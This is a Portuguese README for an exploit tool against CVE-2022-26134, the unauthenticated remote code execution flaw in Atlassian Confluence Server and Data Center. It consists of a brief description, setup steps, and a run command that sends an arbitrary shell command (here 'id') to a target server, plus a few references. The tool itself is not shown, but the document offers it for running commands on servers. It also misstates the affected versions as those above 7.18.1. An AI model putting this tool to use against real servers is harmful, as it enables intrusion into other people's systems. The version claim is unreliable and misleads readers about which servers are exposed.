CVE-2022-26134

Em 30 de maio de 2022, uma organização chamada Volexity identificou uma vulnerabilidade RCE não autenticada (pontuação 9.8 no NIST) nas edições Confluence Server e Data Center da Atlassian (Versão Vulnerável > 7.18.1)

Executar

python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-26134.py http://xxx.xxx.xxx.xxx:8090/ "id"

Referências

• Como Hackeei uma Empresa Fortune 500 em 48 Horas e Obtive Dados de 30.000.000 de Usuários – por Legacy0x1
• Passo a passo da Sala TryHackMe CVE-2022-26134 – por Aybala Sevinc
• Detecção e Orientação para o Zero-Day Confluence CVE-2022-26134